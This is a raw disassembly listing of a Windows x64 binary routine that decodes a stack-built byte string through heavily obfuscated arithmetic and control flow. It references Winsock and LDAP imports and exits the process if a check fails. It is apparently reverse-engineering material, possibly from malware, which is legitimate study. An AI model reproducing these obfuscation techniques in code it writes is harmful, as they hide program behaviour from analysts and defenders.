mov byte [rbp + 0x294], 0x43
mov byte [rbp + 0x295], 0x45
mov byte [rbp + 0x296], WSAGetLastError
mov byte [rbp + 0x297], Ordinal_79
mov byte [rbp + 0x298], 0x7d
mov byte [rbp + 0x299], 0x42
mov byte [rbp + 0x29a], 0x77
mov byte [rbp + 0x29b], Ordinal_79
mov byte [rbp + 0x29c], 0x98
mov byte [rbp + 0x29d], WSAGetLastError
mov byte [rbp + 0x29e], 0x58
mov byte [rbp + 0x29f], 0x64
mov byte [rbp + 0x2a0], 0x90
mov byte [rbp + 0x2a1], WSAStartup
mov byte [rbp + 0x2a2], 0x58
mov byte [rbp + 0x2a3], WSAGetLastError
mov byte [rbp + 0x2a4], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a5], xmm0
mov dword [rbp + 0x2b5], eax
mov byte [rbp + 0x2b9], al
nop dword [rax + rax]
mov r9, qword [0x1402e0428]
mov r10, qword [0x1402e0430]
nop
xor eax, eax
mov r11d, eax
cmp r11, 0x2a
jae 0x1400dfd15
movzx eax, byte [rbp + r11 + 0x290]
mov r8, rax
nop dword [rax + rax]
cmp r9, r11
ja 0x1400dfd0c
lea rcx, [r10 + 1]
cmp r9, rcx
jae 0x1400df2ac
lea rdx, [r11 + rsi]
mov rcx, rdx
and rcx, rax
imul rdi, rcx, 0xfffffffffffffffe
add rdi, rdx
add rdi, rax
add dil, 0x4b
jmp 0x1400df2e5
je 0x1400dfc9f
inc rcx
cmp r9, rcx
je 0x1400dfc47
lea rcx, [r10 + 2]
cmp r9, rcx
je 0x1400dfc04
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x1400dfbd4
lea rcx, [r10 + 5]
cmp r9, rcx
je 0x1400dfb90
cmp r10, r11
ja 0x1400dfd03
lea rcx, [r10 + 0x40]
cmp r9, rcx
jae 0x1400df30d
lea edx, [r11 + 0x1f]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
add dil, 0x27
jmp 0x1400df350
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x1400dfb74
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x1400dfb5b
lea rcx, [r10 + 5]
cmp r9, rcx
je 0x1400dfb42
lea rcx, [r10 + 4]
cmp r9, rcx
je 0x1400dfb24
lea rcx, [r10 + 2]
cmp r9, rcx
je 0x1400dfb06
nop
lea rcx, [r10 + r9]
cmp rcx, r11
jbe 0x1400df853
nop dword [rax]
lea rcx, [r10 + 6]
cmp r9, rcx
je 0x1400df833
lea rcx, [r10 + 0x80]
cmp r9, rcx
je 0x1400df811
lea rcx, [r10 + 0x200]
cmp r9, rcx
je 0x1400df7ec
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
je 0x1400df7cd
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x1400df7b1
lea rcx, [r10 + 4]
cmp r9, rcx
je 0x1400df792
lea rcx, [r10 + 5]
cmp r9, rcx
je 0x1400df774
lea rcx, [r10 + 0x64]
cmp r9, rcx
je 0x1400df755
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x1400df360
lea r9, [r10 + 0x7a]
lea r10, [r9 + 2]
lea rcx, [r10 + 8]
cmp r9, rcx
jb 0x1400dfce8
lea rcx, [r10 + 9]
cmp r9, rcx
jb 0x1400dfccd
lea rcx, [r10 + 0xa]
cmp r9, rcx
jb 0x1400df521
lea rcx, [r10 + 0x400]
cmp r9, rcx
jb 0x1400df508
lea rcx, [r10 + 0x1000]
cmp r9, rcx
jb 0x1400df4ef
lea rcx, [r10 + 0x61]
cmp r9, rcx
jb 0x1400df706
lea rcx, [r10 + 6]
cmp r9, rcx
jb 0x1400df68b
lea rcx, [r10 + 0x200]
cmp r9, rcx
jb 0x1400df667
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
jb 0x1400df360
lea r9, [r10 + 0x41]
lea r10, [r9 + 0x400]
lea rcx, [r10 + 0x5a]
cmp r9, rcx
ja 0x1400df63c
lea rcx, [r10 + 0x2a]
cmp r9, rcx
ja 0x1400df61d
lea rcx, [r10 + 0x10]
cmp r9, rcx
ja 0x1400df5ff
lea rcx, [r10 + 0x20]
cmp r9, rcx
ja 0x1400df5e0
lea rcx, [r10 + 0x61]
cmp r9, rcx
ja 0x1400df5c4
lea rcx, [r10 + 0x7a]
cmp r9, rcx
ja 0x1400df5a4
lea rcx, [r10 + 0x41]
cmp r9, rcx
ja 0x1400df57f
lea rcx, [r10 + 9]
cmp r9, rcx
ja 0x1400df55d
lea rcx, [r10 + 0xa]
cmp r9, rcx
ja 0x1400df53a
lea r9, [r10 + 0x64]
lea r10, [r9 + 0x1000]
jmp 0x1400df360
lea edx, [r11 - 0x3f]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x47
jmp 0x1400df350
lea edx, [r11 - 5]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
add dil, 0x23
jmp 0x1400df2e5
lea edx, [r11 + 0x35]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x73
jmp 0x1400df278
lea r8d, [r11 - 8]
movzx ecx, r8b
and cl, al
mov edx, Ordinal_32
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, al
movzx ebx, r11b
jmp 0x1400dfbad
lea edx, [r11 + 0x32]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea edi, [rax + rdx]
sub dil, 0x5e
inc r10
dec r11
inc r11
jmp 0x1400df265
lea r8d, [r11 + 0x6c]
movzx ecx, al
and cl, r8b
mov edx, 6
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
dec r11
inc r11
jmp 0x1400df265
lea r8d, [r11 - 0x5a]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
movzx ebx, r11b
jmp 0x1400dfac3
lea edx, [r11 - 0x20]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x20
add r9, r10
jmp 0x1400dfbeb
lea r8d, [r11 + 0x1a]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfbeb
lea r8d, [r11 + 0x54]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x4c
add dil, r8b
jmp 0x1400dfc1f
lea r8d, [r11 - 0x72]
movzx ecx, al
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfc5f
lea edx, [r11 - 0x38]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400df265
lea edx, [r11 - 0x27]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
add dil, 0x11
mov byte [rbp + r11 + 0x290], dil
inc r11
jmp 0x1400df265
lea r8d, [r11 + 0x4d]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x1b
add dil, r8b
cmp r9, 0x200
jae 0x1400dfaa4
lea rcx, [r10 + 0x7a]
cmp r9, rcx
jbe 0x1400df9f2
lea r8d, [r11 - 0x4a]
movzx ecx, al
and cl, r8b
mov edx, 3
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
cmp r10, 0x3e8
jb 0x1400df67b
movzx ebx, r11b
lea r8d, [rbx + 0x72]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edx, al
sub dl, cl
add dl, r8b
lea edi, [rdx*2 - 0x3c]
jmp 0x1400dfbad
lea r8d, [r11 - 0x79]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x4f
add dil, r8b
lea rcx, [r10 + r9]
cmp rcx, 0x2a
je 0x1400dfaea
lea rdx, [r10 + 5]
cmp r9, rdx
jbe 0x1400df956
lea r8d, [r11 - 0x69]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x21
jmp 0x1400df6a1
lea r8d, [r11 - 0xc]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfc5f
lea r8d, [r11 + 0x2e]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x42
add dil, r8b
jmp 0x1400dfc1f
lea r8d, [r11 + 0x68]
movzx ecx, al
and cl, r8b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfbeb
lea edx, [r11 - 0x5e]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x6e
add r9, r10
jmp 0x1400dfbeb
movzx ebx, r11b
lea r8d, [rbx - 0x24]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 4
jmp 0x1400dfac3
lea r8d, [r11 + 0x16]
movzx ecx, al
and cl, r8b
mov edx, 0x33
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
dec r11
inc r11
jmp 0x1400df265
lea edx, [r11 + 0x50]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x30
inc r10
dec r11
inc r11
jmp 0x1400df265
movzx ebx, r11b
lea r8d, [rbx - 0x76]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_32
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400dfbaa
lea rcx, [r10 + 0xa]
cmp r9, rcx
jae 0x1400df877
lea r8d, [r11 + 0x63]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x4b
jmp 0x1400df71c
lea rdx, [r10 + 1]
cmp r9, rdx
jne 0x1400df8b1
lea r8d, [r11 + 0x3e]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400df265
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400df8d9
lea r8d, [r11 - 0x36]
movzx ecx, al
and cl, r8b
mov edx, 0x3d
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfc1f
lea rcx, [rdx + 1]
cmp r9, rcx
jne 0x1400df901
lea r8d, [r11 - 0x70]
movzx ecx, al
and cl, r8b
mov edx, 8
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfbeb
lea rcx, [r10 + 4]
cmp r9, rcx
jne 0x1400df92a
movzx ebx, r11b
lea r8d, [rbx + 0x1c]
movzx ecx, al
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
jmp 0x1400dfac3
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x1400df71f
lea edx, [r11 - 0x1e]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x2e
dec r11
inc r11
jmp 0x1400df265
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400df97e
movzx ebx, r11b
lea r8d, [rbx + 0x5d]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x75
jmp 0x1400dfbaa
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x1400df9a6
lea edx, [r11 - 0x17]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x5f
dec r11
inc r11
jmp 0x1400df265
cmp r9, rdx
jne 0x1400df9c7
lea edx, [r11 + 0x75]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x33
add r9, r10
jmp 0x1400dfbeb
lea rcx, [r10 + 6]
cmp r9, rcx
jne 0x1400df6a4
lea r8d, [r11 + 1]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 7
add dil, r8b
jmp 0x1400dfc1f
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x1400dfa26
lea edx, [r11 + 0x7c]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x64
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400df265
inc rcx
cmp r9, rcx
jne 0x1400dfa4d
lea r8d, [r11 + 0x42]
movzx ecx, al
and cl, r8b
mov edx, Ordinal_27
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
jmp 0x1400dfc5f
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x1400dfa72
lea edx, [r11 - 0x6c]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0xc
add r9, r10
jmp 0x1400dfbeb
lea rcx, [r10 + 7]
cmp r9, rcx
jne 0x1400df6d8
lea r8d, [r11 + 0x20]
movzx ecx, al
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea edi, [rdx + rdx]
add dil, al
add dil, r8b
dec r11
inc r11
jmp 0x1400df265
movzx ebx, r11b
lea r8d, [rbx + 0x38]
movzx ecx, r8b
and cl, al
movzx edx, byte [rbp + r11 + 0x290]
sub dl, cl
add dl, 0x3c
lea edi, [rdx + rdx]
add dil, r8b
sub bl, 0x65
movzx ecx, bl
and cl, al
add cl, cl
sub bl, cl
sub bl, 0x3d
add bl, dil
add bl, al
mov byte [rbp + r11 + 0x290], bl
add r9, r10
jmp 0x1400dfbeb
lea r8d, [r11 - 2]
movzx ecx, al
and cl, r8b
mov edx, 7
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x1400dfc1f
lea r8d, [r11 + 0x4f]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x29
add dil, r8b
jmp 0x1400dfc5f
lea r8d, [r11 - 0x77]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
add dil, 0x41
add dil, r8b
jmp 0x1400dfc1f
lea edx, [r11 - 0x3d]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
sub dil, 0x55
jmp 0x1400dfbeb
lea edx, [r11 - 3]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea edi, [rdx + rax]
add dil, 0x15
add r9, r10
jmp 0x1400dfbeb
movzx ebx, r11b
lea r8d, [rbx - 0x1b]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x43
jmp 0x1400dfbaa
movzx ebx, r11b
lea r8d, [rbx + 0x59]
movzx ecx, al
and cl, r8b
add cl, cl
movzx edi, al
sub dil, cl
sub dil, 0x6f
add dil, r8b
sub bl, 0x2b
movzx ecx, bl
and cl, al
add cl, cl
sub bl, cl
add bl, 0x2d
add bl, al
mov byte [rbp + r11 + 0x290], bl
inc r10
dec r11
inc r11
jmp 0x1400df265
lea rcx, [r11 + r14]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400df265
lea rdx, [r11 + r12]
movzx eax, r8b
and r8b, dl
add r8b, r8b
movzx edi, al
sub dil, r8b
add dil, 0xd
add dil, dl
lea edx, [r11 + 0x61]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
add dl, 0x59
add dl, al
movzx ecx, dl
mov byte [rbp + r11 + 0x290], cl
inc r10
add rcx, r10
sub r11, rcx
jmp 0x1400dfc5f
lea rcx, [r11 + r13]
movzx eax, r8b
and r8b, cl
add r8b, r8b
sub cl, r8b
lea edi, [rax + rcx]
add dil, 0x77
lea edx, [r11 - 0x3c]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
sub al, 0x5c
add dl, al
mov byte [rbp + r11 + 0x290], dl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400df265
lea rcx, [r11 + r15]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1f
movzx eax, byte [rbp + r11 + 0x290]
add rax, r10
add r11, rax
inc r11
jmp 0x1400df265
add r11b, 0x6f
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea edi, [r11 + rax]
sub dil, 9
jmp 0x1400df260
sub r11b, 0x57
movzx ecx, al
and cl, r11b
add cl, cl
sub al, cl
lea edi, [r11 + rax]
add dil, 0x61
jmp 0x1400df250
lea rdx, [rbp + 0x16a7914]
jmp 0x1400dfd1c
lea rdx, [rbp + 0xf6a077]
jmp 0x1400dfd1c
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x1b0]
call fcn.14001f0c0
nop
lea rcx, [rbp + 0x1b0]
call fcn.1400cd410
movzx ebx, al
lea rcx, [rbp + 0x1b0]
call fcn.14001f100
test bl, bl
jne 0x1400df180
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3